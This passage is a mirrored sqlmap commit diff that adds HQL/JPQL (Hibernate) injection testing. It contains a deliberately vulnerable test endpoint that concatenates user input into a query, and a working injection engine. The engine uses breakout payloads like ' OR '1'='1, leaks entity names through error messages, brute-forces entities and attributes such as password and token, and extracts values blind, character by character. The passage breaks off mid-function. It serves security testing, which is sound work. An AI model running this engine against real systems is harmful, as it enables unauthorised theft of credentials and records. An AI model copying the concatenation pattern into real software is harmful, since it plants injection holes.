mirror of
https://github.com/sqlmapproject/sqlmap.git
synced 2026-07-12 03:23:27 +00:00
Adding support for --hql
This commit is contained in:
parent
346c9d9f03
commit
d0f16b284d
10 changed files with 901 additions and 3 deletions
|
|
@ -218,6 +218,92 @@ def nosql_match(params):
|
|||
else: # $eq, $in (single-valued here) and any literal equality
|
||||
return record == value
|
||||
|
||||
# --- HQL endpoint (vulnerable Hibernate ORM search over a single mapped entity) -------------------
|
||||
# The query "FROM Users u WHERE u.name = '<input>'" is built by string concatenation; the evaluator
|
||||
# below reproduces just enough HQL semantics (boolean logic, EXISTS, scalar sub-queries, path
|
||||
# resolution) to make sqlmap's --hql engine detect, fingerprint, leak the entity, enumerate mapped
|
||||
# attributes and blindly extract their values. Unlike the local Hibernate lab, this endpoint reflects
|
||||
# the parser diagnostic, so it also exercises the error-based entity-leak path.
|
||||
|
||||
HQL_ENTITY = "org.vulnserver.model.Users"
|
||||
HQL_RECORD = {"id": "1", "name": "admin", "password": "s3cr3t", "role": "administrator", "email": "admin@vulnserver.local"}
|
||||
|
||||
|
||||
class _HqlError(Exception):
|
||||
pass
|
||||
|
||||
|
||||
def _hql_short(name):
|
||||
return re.split(r"[.$]", name)[-1]
|
||||
|
||||
|
||||
def _hql_no_row(atom):
|
||||
"""True when a row-walk bound "_h2.<pin> > <n>" excludes the only record, so the
|
||||
scalar sub-query resolves to NULL and its comparison is false."""
|
||||
|
||||
match = re.search(r"_h2\.\w+>(\d+)", atom)
|
||||
return bool(match) and int(HQL_RECORD["id"]) <= int(match.group(1))
|
||||
|
||||
|
||||
def _hql_atom(atom):
|
||||
atom = atom.strip()
|
||||
|
||||
match = re.match(r"^'([^']*)'\s*=\s*'([^']*)'$", atom) # literal '1'='1'
|
||||
if match:
|
||||
return match.group(1) == match.group(2)
|
||||
|
||||
match = re.match(r"^\w+\s*=\s*'([^']*)'$", atom) # outer: name = 'X'
|
||||
if match:
|
||||
return HQL_RECORD["name"] == match.group(1)
|
||||
|
||||
match = re.match(r"^EXISTS\(SELECT 1 FROM (\w+) _h\)$", atom, re.I) # entity brute
|
||||
if match:
|
||||
if _hql_short(match.group(1)) != _hql_short(HQL_ENTITY):
|
||||
raise _HqlError("org.hibernate.query.sqm.UnknownEntityException: Could not resolve root entity '%s'" % match.group(1))
|
||||
return True
|
||||
|
||||
match = re.match(r"^EXISTS\(SELECT _h\.(\w+) FROM (\w+) _h\)$", atom, re.I) # attribute existence
|
||||
if match:
|
||||
attr = match.group(1)
|
||||
if _hql_short(match.group(2)) != _hql_short(HQL_ENTITY) or attr not in HQL_RECORD:
|
||||
raise _HqlError("org.hibernate.query.sqm.PathElementException: Could not resolve attribute '%s' of '%s'" % (attr, HQL_ENTITY))
|
||||
return True
|
||||
|
||||
match = re.match(r"^\(SELECT LENGTH\(CAST\(_h\.(\w+) AS string\)\).*?\)\s*>=\s*(\d+)$", atom, re.I) # scalar length
|
||||
if match:
|
||||
attr, n = match.group(1), int(match.group(2))
|
||||
if attr not in HQL_RECORD:
|
||||
raise _HqlError("org.hibernate.query.sqm.PathElementException: Could not resolve attribute '%s' of '%s'" % (attr, HQL_ENTITY))
|
||||
if _hql_no_row(atom): # row-walk cursor advanced past the only record
|
||||
return False
|
||||
return len(HQL_RECORD[attr]) >= n
|
||||
|
||||
match = re.match(r"^\(SELECT SUBSTRING\(CAST\(_h\.(\w+) AS string\),(\d+),1\).*?\)\s*=\s*'(.)'$", atom, re.I) # scalar char
|
||||
if match:
|
||||
attr, pos, ch = match.group(1), int(match.group(2)), match.group(3)
|
||||
if attr not in HQL_RECORD:
|
||||
raise _HqlError("org.hibernate.query.sqm.PathElementException: Could not resolve attribute '%s' of '%s'" % (attr, HQL_ENTITY))
|
||||
if _hql_no_row(atom):
|
||||
return False
|
||||
value = HQL_RECORD[attr]
|
||||
return pos <= len(value) and value[pos - 1] == ch
|
||||
|
||||
match = re.match(r"^(?:\w+\.)?(\w+)\s+IS NOT NULL$", atom, re.I) # path probe (entity leak)
|
||||
if match:
|
||||
attr = match.group(1)
|
||||
if attr not in HQL_RECORD:
|
||||
raise _HqlError("org.hibernate.query.sqm.PathElementException: Could not resolve attribute '%s' of '%s'" % (attr, HQL_ENTITY))
|
||||
return HQL_RECORD[attr] is not None
|
||||
|
||||
raise _HqlError("org.hibernate.query.SyntaxException: unexpected token near '%s'" % atom[:24])
|
||||
|
||||
|
||||
def hql_evaluate(value):
|
||||
"""Evaluate "name = '<value>'" as an HQL boolean; returns True/False or raises _HqlError."""
|
||||
|
||||
clause = "name = '%s'" % value
|
||||
return any(all(_hql_atom(a) for a in term.split(" AND ")) for term in clause.split(" OR "))
|
||||
|
||||
# --- XPath endpoint (vulnerable search and login, backed by an in-memory XML document) ------------
|
||||
|
||||
XPATH_XML = """<?xml version="1.0" encoding="UTF-8"?>
|
||||
|
|
@ -968,6 +1054,22 @@ class ReqHandler(BaseHTTPRequestHandler):
|
|||
self.wfile.write(output.encode(UNICODE_ENCODING))
|
||||
return
|
||||
|
||||
if self.url == "/hql/search":
|
||||
self.send_response(OK)
|
||||
self.send_header("Content-type", "application/json; charset=%s" % UNICODE_ENCODING)
|
||||
self.send_header("Connection", "close")
|
||||
self.end_headers()
|
||||
|
||||
name = self.params.get("name", "")
|
||||
try:
|
||||
matched = hql_evaluate(name) # VULNERABLE: input concatenated into HQL
|
||||
output = json.dumps({"results": [HQL_RECORD] if matched else [], "count": 1 if matched else 0})
|
||||
except _HqlError as ex:
|
||||
output = json.dumps({"results": [], "count": 0, "error": str(ex)})
|
||||
|
||||
self.wfile.write(output.encode(UNICODE_ENCODING))
|
||||
return
|
||||
|
||||
if self.url == "/xpath/search":
|
||||
self.send_response(OK)
|
||||
self.send_header("Content-type", "application/json; charset=%s" % UNICODE_ENCODING)
|
||||
|
|
|
|||
|
|
@ -83,6 +83,7 @@ from lib.core.settings import FI_ERROR_REGEX
|
|||
from lib.core.settings import FORMAT_EXCEPTION_STRINGS
|
||||
from lib.core.settings import GRAPHQL_ERROR_REGEX
|
||||
from lib.core.settings import HEURISTIC_CHECK_ALPHABET
|
||||
from lib.core.settings import HQL_ERROR_REGEX
|
||||
from lib.core.settings import INFERENCE_EQUALS_CHAR
|
||||
from lib.core.settings import LDAP_ERROR_REGEX
|
||||
from lib.core.settings import SSTI_ERROR_REGEX
|
||||
|
|
@ -1216,6 +1217,13 @@ def heuristicCheckSqlInjection(place, parameter):
|
|||
if conf.beep:
|
||||
beep()
|
||||
|
||||
if not conf.hql and re.search(HQL_ERROR_REGEX, page or ""):
|
||||
infoMsg = "heuristic (HQL) test shows that %sparameter '%s' might be vulnerable to HQL/JPQL (Hibernate ORM) injection (rerun with switch '--hql')" % ("%s " % paramType if paramType != parameter else "", parameter)
|
||||
logger.info(infoMsg)
|
||||
|
||||
if conf.beep:
|
||||
beep()
|
||||
|
||||
if not conf.xxe and kb.postHint in (POST_HINT.XML, POST_HINT.SOAP) and re.search(XXE_ERROR_REGEX, page or ""):
|
||||
infoMsg = "heuristic (XXE) test shows that the XML request body might be vulnerable to XML External Entity injection (rerun with switch '--xxe')"
|
||||
logger.info(infoMsg)
|
||||
|
|
|
|||
|
|
@ -529,8 +529,8 @@ def start():
|
|||
|
||||
checkWaf()
|
||||
|
||||
if any((conf.graphql, conf.nosql, conf.ldap, conf.xpath, conf.ssti, conf.xxe)) and (conf.reportJson or conf.resultsFile):
|
||||
singleTimeWarnMessage("'--report-json'/'--results-file' do not (yet) capture non-SQL technique (--graphql/--nosql/--ldap/--xpath/--ssti/--xxe) findings; these are reported on the console only")
|
||||
if any((conf.graphql, conf.nosql, conf.ldap, conf.xpath, conf.ssti, conf.xxe, conf.hql)) and (conf.reportJson or conf.resultsFile):
|
||||
singleTimeWarnMessage("'--report-json'/'--results-file' do not (yet) capture non-SQL technique (--graphql/--nosql/--ldap/--xpath/--ssti/--xxe/--hql) findings; these are reported on the console only")
|
||||
|
||||
if conf.graphql:
|
||||
from lib.techniques.graphql.inject import graphqlScan
|
||||
|
|
@ -562,6 +562,11 @@ def start():
|
|||
xxeScan()
|
||||
continue
|
||||
|
||||
if conf.hql:
|
||||
from lib.techniques.hql.inject import hqlScan
|
||||
hqlScan()
|
||||
continue
|
||||
|
||||
if conf.nullConnection:
|
||||
checkNullConnection()
|
||||
|
||||
|
|
|
|||
|
|
@ -126,6 +126,7 @@ optDict = {
|
|||
"xpath": "boolean",
|
||||
"ssti": "boolean",
|
||||
"xxe": "boolean",
|
||||
"hql": "boolean",
|
||||
"oobServer": "string",
|
||||
"oobToken": "string",
|
||||
"timeSec": "integer",
|
||||
|
|
|
|||
|
|
@ -20,7 +20,7 @@ from lib.core.enums import OS
|
|||
from thirdparty import six
|
||||
|
||||
# sqlmap version (<major>.<minor>.<month>.<monthly commit>)
|
||||
VERSION = "1.10.7.65"
|
||||
VERSION = "1.10.7.66"
|
||||
TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
|
||||
TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
|
||||
VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)
|
||||
|
|
@ -1159,6 +1159,54 @@ OOB_POLL_DELAY = 2 # target's own link + webhook.site's eventually-consi
|
|||
XXE_BLACKHOLE_HOST = "192.0.2.1"
|
||||
XXE_TIME_THRESHOLD = 5
|
||||
|
||||
# HQL/JPQL (Hibernate, EclipseLink) injection error signatures for error-based
|
||||
# detection and ORM fingerprinting. Each tuple is (backend_name, regex_fragment).
|
||||
# A match means the injection reached the ORM query parser (not the SQL layer),
|
||||
# which is what distinguishes HQL injection from ordinary SQL injection.
|
||||
HQL_ERROR_SIGNATURES = (
|
||||
("Hibernate", r"org\.hibernate\.(?:query|hql|QueryException|exception\.SQLGrammarException)"),
|
||||
("Hibernate", r"(?:QuerySyntaxException|QueryException|SemanticException|PathElementException|UnknownEntityException|InterpretationException)"),
|
||||
("Hibernate", r"(?:token recognition error at|unexpected (?:token|end of subtree|AST node)|Could not (?:resolve|interpret) (?:attribute|root entity|path|property)|line \d+:\d+ (?:no viable alternative|mismatched input|token recognition error))"),
|
||||
("EclipseLink / JPQL", r"(?:org\.eclipse\.persistence\.exceptions\.JPQLException|Exception \[EclipseLink|Problem compiling \[|An exception occurred while creating a query)"),
|
||||
("JPA / JPQL", r"(?:javax|jakarta)\.persistence\.(?:PersistenceException|Query(?:Syntax|Timeout)?Exception)"),
|
||||
("Generic HQL/JPQL", r"(?:HQL|JPQL|EJBQL)\b.*?(?:error|exception|syntax|not (?:mapped|resolve))"),
|
||||
)
|
||||
|
||||
HQL_ERROR_REGEX = r"(?i)(?:%s)" % '|'.join(regex for _, regex in HQL_ERROR_SIGNATURES)
|
||||
|
||||
# Regexes that pull the mapped entity/root name out of a Hibernate diagnostic (the
|
||||
# ORM equivalent of a leaked table name; HQL has no information_schema so error-based
|
||||
# leakage is the native way to learn the entity model). First capture group = name.
|
||||
HQL_ENTITY_REGEX = (
|
||||
r"(?:attribute|property|path) '[^']+' of '([\w.$]+)'",
|
||||
r"resolve root entity '([^']+)'",
|
||||
r"(?:entity|class) ['\"]?([\w.$]+[\w$])['\"]? is not mapped",
|
||||
)
|
||||
|
||||
# Printable-ASCII codepoint bounds bisected during HQL blind character extraction
|
||||
HQL_CHAR_MIN = 0x20
|
||||
HQL_CHAR_MAX = 0x7e
|
||||
|
||||
# Upper bound for the value-length search during HQL blind extraction
|
||||
HQL_MAX_LENGTH = 256
|
||||
|
||||
# Maximum number of attributes to enumerate per entity during HQL blind extraction
|
||||
HQL_MAX_FIELDS = 64
|
||||
|
||||
# Maximum number of records walked (ordered by a numeric pin) during HQL blind dump
|
||||
HQL_MAX_RECORDS = 100
|
||||
|
||||
# Common mapped entity names brute-forced through the boolean oracle when the app
|
||||
# does not reflect Hibernate diagnostics (a mapped name keeps the query valid; an
|
||||
# unmapped one raises UnknownEntityException and reads as false).
|
||||
HQL_COMMON_ENTITIES = (
|
||||
"User", "Users", "Account", "Accounts", "Member", "Members", "Customer",
|
||||
"Customers", "Person", "People", "Employee", "Admin", "Login", "Credential",
|
||||
"Profile", "Role", "Client", "Contact", "Company", "Product", "Order",
|
||||
"Item", "Article", "Post", "Comment", "Category", "Document", "File",
|
||||
"Message", "Group", "Session", "Token", "Application", "Setting",
|
||||
)
|
||||
|
||||
XXE_IMPACT_FILES = (
|
||||
("file:///etc/os-release", r"(?i)^(?:NAME|ID|VERSION)="), # anchored, high-signal
|
||||
("file:///c:/windows/win.ini", r"(?i)\[(?:fonts|extensions|mci extensions|files)\]"),
|
||||
|
|
|
|||
|
|
@ -96,6 +96,7 @@ def vulnTest(tests=None, label="vuln"):
|
|||
("-u \"<base>ldap/search?q=x\" --ldap --flush-session --disable-hashing", ("is vulnerable to LDAP injection", "Title: LDAP in-band data exposure", "LDAP: GET parameter 'q' in-band entries", "in-band data exposure", "LDAP scan complete")), # LDAP: error-based detection (unbalanced paren) + boolean oracle + directory attribute extraction via blind substring probing
|
||||
("-u \"<base>xpath/search?q=x\" --xpath --flush-session --disable-hashing", ("is vulnerable to XPath injection", "Title: XPath boolean-based blind", "XPath: GET parameter 'q' XML tree", "extracted", "XPath scan complete")), # XPath: error-based detection + boolean oracle + blind XML tree-walking via starts-with character extraction
|
||||
("-u \"<base>ssti/search?q=x\" --ssti --flush-session --disable-hashing", ("is vulnerable to SSTI", "Title: SSTI Jinja2 injection", "back-end template engine: 'Jinja2'", "in-band arithmetic proof confirmed", "SSTI scan complete")), # SSTI: Jinja2 detection via arithmetic control-pair + boolean oracle + distinguishing probe
|
||||
("-u \"<base>hql/search?name=admin\" -p name --hql --flush-session --disable-hashing", ("is vulnerable to HQL injection", "back-end: 'Hibernate'", "entity 'Users'", "s3cr3t", "HQL scan complete")), # HQL: error-based Hibernate fingerprint + boolean oracle + error-leaked entity + blind attribute enumeration and substring value extraction
|
||||
("-u \"<url>&query=*\" --flush-session --technique=Q --banner", ("Title: SQLite inline queries", "banner: '3.")),
|
||||
("-d \"<direct>\" --flush-session --dump -T creds --dump-format=SQLITE --binary-fields=password_hash --where \"user_id=5\"", ("3137396164343563366365326362393763663130323965323132303436653831", "dumped to SQLITE database")),
|
||||
("-d \"<direct>\" --flush-session --banner --schema --sql-query=\"UPDATE users SET name='foobar' WHERE id=4; SELECT * FROM users; SELECT 987654321\"", ("banner: '3.", "INTEGER", "TEXT", "id", "name", "surname", "4,foobar,nameisnull", "'987654321'",)),
|
||||
|
|
|
|||
|
|
@ -796,6 +796,9 @@ def cmdLineParser(argv=None):
|
|||
nonsql.add_argument("--xxe", dest="xxe", action="store_true",
|
||||
help="Test for XML External Entity (XXE) injection")
|
||||
|
||||
nonsql.add_argument("--hql", dest="hql", action="store_true",
|
||||
help="Test for HQL/JPQL (Hibernate ORM) injection")
|
||||
|
||||
nonsql.add_argument("--oob-server", dest="oobServer",
|
||||
help="Out-of-band server for blind '--xxe'")
|
||||
|
||||
|
|
|
|||
8
lib/techniques/hql/__init__.py
Normal file
8
lib/techniques/hql/__init__.py
Normal file
|
|
@ -0,0 +1,8 @@
|
|||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
pass
|
||||
493
lib/techniques/hql/inject.py
Normal file
493
lib/techniques/hql/inject.py
Normal file
|
|
@ -0,0 +1,493 @@
|
|||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
import difflib
|
||||
import re
|
||||
import time
|
||||
|
||||
from collections import namedtuple
|
||||
|
||||
from lib.core.common import beep
|
||||
from lib.core.common import randomStr
|
||||
from lib.core.convert import getUnicode
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import logger
|
||||
from lib.core.enums import CUSTOM_LOGGING
|
||||
from lib.core.enums import PLACE
|
||||
from lib.core.settings import HQL_CHAR_MAX
|
||||
from lib.core.settings import HQL_CHAR_MIN
|
||||
from lib.core.settings import HQL_COMMON_ENTITIES
|
||||
from lib.core.settings import HQL_ENTITY_REGEX
|
||||
from lib.core.settings import HQL_ERROR_REGEX
|
||||
from lib.core.settings import HQL_ERROR_SIGNATURES
|
||||
from lib.core.settings import HQL_MAX_FIELDS
|
||||
from lib.core.settings import HQL_MAX_LENGTH
|
||||
from lib.core.settings import HQL_MAX_RECORDS
|
||||
from lib.core.settings import UPPER_RATIO_BOUND
|
||||
from lib.request.connect import Connect as Request
|
||||
from lib.utils.xrange import xrange
|
||||
|
||||
|
||||
SENTINEL = randomStr(length=10, lowercase=True)
|
||||
|
||||
HQL_PLACES = (PLACE.GET, PLACE.POST, PLACE.CUSTOM_POST)
|
||||
|
||||
# Attribute names probed (via an error-vs-valid oracle) once the mapped entity is
|
||||
# known. HQL has no information_schema, so a mapped attribute either resolves
|
||||
# (valid query) or raises a PathElementException (error page); that difference is
|
||||
# the enumeration oracle. Ordered by real-world frequency.
|
||||
HQL_COMMON_FIELDS = (
|
||||
"id", "name", "username", "user", "login", "email", "mail", "password",
|
||||
"passwd", "pass", "pwd", "secret", "token", "apikey", "role", "roles",
|
||||
"firstname", "lastname", "fullname", "phone", "address", "city", "country",
|
||||
"active", "enabled", "created", "updated", "description", "title", "status",
|
||||
"type", "code", "key", "hash", "salt", "uuid", "owner", "amount", "price",
|
||||
)
|
||||
|
||||
# Detection boundaries, priority-ordered. Each is (true, false, extraction prefix,
|
||||
# extraction suffix, sentinel-based). The application's own trailing delimiter
|
||||
# (the closing quote it appends after the injected value) balances the suffix, so
|
||||
# no comment is needed (HQL frequently rejects SQL line comments anyway).
|
||||
_BOUNDARY_TABLE = (
|
||||
# (true_breakout, false_breakout, ext_prefix, ext_suffix, sentinel )
|
||||
("' OR '1'='1", "' AND '1'='2", "' OR ", " OR '1'='2", True),
|
||||
('" OR "1"="1', '" AND "1"="2', '" OR ', ' OR "1"="2', True),
|
||||
(" OR 1=1", " AND 1=2", " OR ", "", False),
|
||||
)
|
||||
|
||||
# Boundary carries the extraction prefix/suffix and whether the base value must be
|
||||
# a non-matching sentinel (OR-style) so a true predicate flips an empty result set.
|
||||
Boundary = namedtuple("Boundary", ("prefix", "suffix", "sentinel"))
|
||||
|
||||
Slot = namedtuple("Slot", ("place", "parameter", "backend", "entity", "oracle", "boundary", "payload"))
|
||||
Slot.__new__.__defaults__ = (None,) * 7
|
||||
|
||||
|
||||
def _ratio(first, second):
|
||||
return difflib.SequenceMatcher(None, first or "", second or "").quick_ratio()
|
||||
|
||||
|
||||
def _delim(place):
|
||||
return (conf.cookieDel or ';') if place == PLACE.COOKIE else '&'
|
||||
|
||||
|
||||
def _confParameters(place):
|
||||
try:
|
||||
return conf.parameters.get(place, "")
|
||||
except AttributeError:
|
||||
return conf.parameters[place] if place in conf.parameters else ""
|
||||
|
||||
|
||||
def _originalValue(place, parameter):
|
||||
for segment in _confParameters(place).split(_delim(place)):
|
||||
name, _, value = segment.partition('=')
|
||||
if name.strip() == parameter:
|
||||
return value
|
||||
return conf.paramDict.get(place, {}).get(parameter) or ""
|
||||
|
||||
|
||||
def _replaceSegment(place, parameter, value):
|
||||
delimiter = _delim(place)
|
||||
raw = _confParameters(place)
|
||||
retVal, replaced = [], False
|
||||
|
||||
for part in raw.split(delimiter):
|
||||
name, _, _ = part.partition('=')
|
||||
if not replaced and name.strip() == parameter:
|
||||
retVal.append("%s=%s" % (name, value))
|
||||
replaced = True
|
||||
else:
|
||||
retVal.append(part)
|
||||
|
||||
if not replaced:
|
||||
retVal = []
|
||||
for name, oldValue in conf.paramDict.get(place, {}).items():
|
||||
retVal.append("%s=%s" % (name, value if name == parameter else oldValue))
|
||||
|
||||
return delimiter.join(retVal)
|
||||
|
||||
|
||||
def _send(place, parameter, value):
|
||||
"""Issue a single HTTP request with the target parameter set to `value`,
|
||||
temporarily mutating conf.parameters so sqlmap's normal request machinery
|
||||
(URL construction, cookies, headers, encodings) is fully preserved."""
|
||||
|
||||
if conf.delay:
|
||||
time.sleep(conf.delay)
|
||||
|
||||
old_params = conf.parameters.get(place, "")
|
||||
conf.parameters[place] = _replaceSegment(place, parameter, value)
|
||||
|
||||
try:
|
||||
if conf.verbose >= 3:
|
||||
logger.log(CUSTOM_LOGGING.PAYLOAD, "%s=%s" % (parameter, value))
|
||||
page, _, _ = Request.getPage(raise404=False, silent=True)
|
||||
return page or ""
|
||||
except Exception as ex:
|
||||
logger.debug("HQL probe request failed: %s" % getUnicode(ex))
|
||||
return ""
|
||||
finally:
|
||||
conf.parameters[place] = old_params
|
||||
|
||||
|
||||
def _isError(page):
|
||||
return bool(re.search(HQL_ERROR_REGEX, getUnicode(page or "")))
|
||||
|
||||
|
||||
def _backendFromError(page):
|
||||
page = getUnicode(page or "")
|
||||
for backend, regex in HQL_ERROR_SIGNATURES:
|
||||
if re.search(regex, page):
|
||||
return backend
|
||||
return None
|
||||
|
||||
|
||||
def _entityFromError(page):
|
||||
page = getUnicode(page or "")
|
||||
for regex in HQL_ENTITY_REGEX:
|
||||
match = re.search(regex, page)
|
||||
if match:
|
||||
return match.group(1)
|
||||
return None
|
||||
|
||||
|
||||
def _probeError(place, parameter):
|
||||
"""Break the HQL string/numeric context and look for an ORM parser diagnostic.
|
||||
Returns (backend, page) - a hint only; the boolean oracle is authoritative."""
|
||||
|
||||
original = _originalValue(place, parameter) or "1"
|
||||
normal = _send(place, parameter, original)
|
||||
|
||||
for suffix in ("'", '"', "'||", " and", ")"):
|
||||
broken = _send(place, parameter, original + suffix)
|
||||
if not broken or _ratio(normal, broken) >= UPPER_RATIO_BOUND:
|
||||
continue
|
||||
backend = _backendFromError(broken)
|
||||
if backend and not _isError(normal):
|
||||
return backend, broken
|
||||
|
||||
return None, None
|
||||
|
||||
|
||||
def _boolean(truthy, falsy):
|
||||
"""Return the reproducible true page when true/false probes diverge (both must
|
||||
be independently reproducible), else None."""
|
||||
|
||||
truePage = truthy()
|
||||
if truePage is None or _isError(truePage):
|
||||
return None
|
||||
if _ratio(truePage, truthy()) < UPPER_RATIO_BOUND:
|
||||
return None
|
||||
|
||||
falsePage = falsy()
|
||||
if falsePage is None or _isError(falsePage):
|
||||
return None
|
||||
if _ratio(falsePage, falsy()) < UPPER_RATIO_BOUND:
|
||||
return None
|
||||
|
||||
if _ratio(truePage, falsePage) < UPPER_RATIO_BOUND:
|
||||
return truePage
|
||||
|
||||
return None
|
||||
|
||||
|
||||
def _detectBoolean(place, parameter):
|
||||
"""Return (template, payload, boundary) for boolean-blind HQL injection."""
|
||||
|
||||
original = _originalValue(place, parameter) or ""
|
||||
|
||||
for true_bk, false_bk, prefix, suffix, sentinel in _BOUNDARY_TABLE:
|
||||
truePayload = original + true_bk
|
||||
falsePayload = original + false_bk
|
||||
template = _boolean(lambda p=truePayload: _send(place, parameter, p),
|
||||
lambda p=falsePayload: _send(place, parameter, p))
|
||||
if template:
|
||||
return template, truePayload, Boundary(prefix, suffix, sentinel)
|
||||
|
||||
return None, None, None
|
||||
|
||||
|
||||
def _base(boundary, original):
|
||||
# OR-style boundaries need a base value that matches no row so a true predicate
|
||||
# flips an empty result set into a populated one; AND-style keeps the original.
|
||||
if boundary.sentinel:
|
||||
return SENTINEL
|
||||
return "-1"
|
||||
|
||||
|
||||
def _wrap(original, boundary, predicate):
|
||||
return "%s%s%s%s" % (original, boundary.prefix, predicate, boundary.suffix)
|
||||
|
||||
|
||||
def _makeOracle(place, parameter, template, boundary, original):
|
||||
"""Build oracle(predicate) -> bool from a verified true template."""
|
||||
|
||||
cache = {}
|
||||
base = _base(boundary, original)
|
||||
|
||||
def request(payload):
|
||||
if payload not in cache:
|
||||
cache[payload] = _send(place, parameter, payload)
|
||||
return cache[payload]
|
||||
|
||||
def truth(predicate):
|
||||
page = request(_wrap(base, boundary, predicate))
|
||||
if page is None or _isError(page):
|
||||
return False
|
||||
return _ratio(template, page) >= UPPER_RATIO_BOUND
|
||||
|
||||
truth.template = template
|
||||
truth.cache = cache
|
||||
return truth
|
||||
|
||||
|
||||
def _leakEntity(place, parameter, boundary, original):
|
||||
"""Force a path-resolution error to leak the mapped entity name. An unqualified
|
||||
identifier resolves against the query root, so a random one yields e.g.
|
||||
"Could not resolve attribute 'xyz' of 'com.app.User'"."""
|
||||
|
||||
base = _base(boundary, original)
|
||||
marker = randomStr(length=8, lowercase=True)
|
||||
|
||||
for reference in ("%s", "u.%s", "e.%s", "o.%s", "x.%s", "this.%s"):
|
||||
predicate = "%s IS NOT NULL" % (reference % marker)
|
||||
page = _send(place, parameter, _wrap(base, boundary, predicate))
|
||||
entity = _entityFromError(page)
|
||||
if entity:
|
||||
return entity
|
||||
|
||||
return None
|
||||
|
||||
|
||||
def _shortEntity(entity):
|
||||
# com.app.model.User -> User ; lab.App$Member -> Member
|
||||
return re.split(r"[.$]", entity)[-1] if entity else entity
|
||||
|
||||
|
||||
def _bruteEntities(truth):
|
||||
"""Recover mapped entity names through the boolean oracle alone (no reflected
|
||||
diagnostic needed): a mapped name keeps the FROM clause valid, an unmapped one
|
||||
raises UnknownEntityException and reads as false. Returns every match so the
|
||||
whole reachable model can be dumped, not just the injected query's entity."""
|
||||
|
||||
retVal = []
|
||||
for entity in HQL_COMMON_ENTITIES:
|
||||
if truth("EXISTS(SELECT 1 FROM %s _h)" % entity):
|
||||
retVal.append(entity)
|
||||
return retVal
|
||||
|
||||
|
||||
def _enumFields(truth, entity):
|
||||
"""Probe common attribute names against the entity; a name that resolves keeps
|
||||
the query valid (oracle true), a missing one raises and reads as false."""
|
||||
|
||||
fields = []
|
||||
for field in HQL_COMMON_FIELDS:
|
||||
if len(fields) >= HQL_MAX_FIELDS:
|
||||
break
|
||||
predicate = "EXISTS(SELECT _h.%s FROM %s _h)" % (field, entity)
|
||||
if truth(predicate):
|
||||
fields.append(field)
|
||||
logger.info("identified mapped attribute: '%s'" % field)
|
||||
return fields
|
||||
|
||||
|
||||
# Frequency-ordered printable charset for blind character extraction
|
||||
_META_ORDS = set(ord(_) for _ in ("'", '"', '\\'))
|
||||
_FREQ = (tuple(xrange(ord('a'), ord('z') + 1)) +
|
||||
tuple(xrange(ord('A'), ord('Z') + 1)) +
|
||||
tuple(xrange(ord('0'), ord('9') + 1)) +
|
||||
tuple(ord(_) for _ in "@._- +:/"))
|
||||
_CHARSET = []
|
||||
for _ in _FREQ:
|
||||
if HQL_CHAR_MIN <= _ <= HQL_CHAR_MAX and _ not in _META_ORDS and _ not in _CHARSET:
|
||||
_CHARSET.append(_)
|
||||
for _ in xrange(HQL_CHAR_MIN, HQL_CHAR_MAX + 1):
|
||||
if _ not in _META_ORDS and _ not in _CHARSET:
|
||||
_CHARSET.append(_)
|
||||
|
||||
|
||||
def _scalar(entity, attribute, expr, pin, after=None):
|
||||
"""Scalar subquery over a single `entity` row selected by the smallest `pin`
|
||||
(optionally the smallest strictly greater than `after`, to walk rows in order).
|
||||
Alias-independent, so it works regardless of the outer query's alias. `expr`
|
||||
wraps the attribute, cast to string so numeric/temporal values extract too."""
|
||||
|
||||
bound = "" if after is None else " WHERE _h2.%s>%s" % (pin, after)
|
||||
target = "CAST(_h.%s AS string)" % attribute
|
||||
inner = "SELECT %s FROM %s _h WHERE _h.%s=(SELECT MIN(_h2.%s) FROM %s _h2%s)" % (
|
||||
expr % target, entity, pin, pin, entity, bound)
|
||||
return "(%s)" % inner
|
||||
|
||||
|
||||
def _inferValue(truth, entity, attribute, pin, after=None, maxLen=HQL_MAX_LENGTH):
|
||||
"""Blindly recover one attribute value of the row selected by `pin`/`after`."""
|
||||
|
||||
# length first, by binary search
|
||||
lengthExpr = _scalar(entity, attribute, "LENGTH(%s)", pin, after)
|
||||
if not truth("%s>=1" % lengthExpr):
|
||||
return ""
|
||||
|
||||
lo, hi = 1, maxLen
|
||||
while lo < hi:
|
||||
mid = (lo + hi + 1) // 2
|
||||
if truth("%s>=%d" % (lengthExpr, mid)):
|
||||
lo = mid
|
||||
else:
|
||||
hi = mid - 1
|
||||
length = lo
|
||||
|
||||
chars = []
|
||||
for pos in xrange(1, length + 1):
|
||||
charExpr = _scalar(entity, attribute, "SUBSTRING(%%s,%d,1)" % pos, pin, after)
|
||||
found = None
|
||||
for cp in _CHARSET:
|
||||
literal = chr(cp)
|
||||
if truth("%s='%s'" % (charExpr, literal)):
|
||||
found = literal
|
||||
break
|
||||
chars.append(found if found is not None else "?")
|
||||
|
||||
return "".join(chars)
|
||||
|
||||
|
||||
def _grid(columns, rows):
|
||||
columns = [getUnicode(_) for _ in columns]
|
||||
rows = [[getUnicode(_) for _ in row] for row in rows]
|
||||
|
||||
widths = []
|
||||
for index, column in enumerate(columns):
|
||||
width = len(column)
|
||||
for row in rows:
|
||||
if index < len(row):
|
||||
width = max(width, len(getUnicode(row[index])))
|
||||
widths.append(width)
|
||||
|
||||
separator = "+-" + "-+-".join("-" * _ for _ in widths) + "-+"
|
||||
|
||||
def line(cells):
|
||||
return "| " + " | ".join((getUnicode(cells[index]) if index < len(cells) else "").ljust(widths[index]) for index in xrange(len(columns))) + " |"
|
||||
|
||||
return "\n".join([separator, line(columns), separator] + [line(row) for row in rows] + [separator])
|
||||
|
||||
|
||||
def _dumpEntity(oracle, place, parameter, entity):
|
||||
"""Enumerate an entity's mapped attributes and blindly dump all of its rows."""
|
||||
|
||||
logger.info("enumerating mapped attributes of entity '%s'" % entity)
|
||||
fields = _enumFields(oracle, entity)
|
||||
if not fields:
|
||||
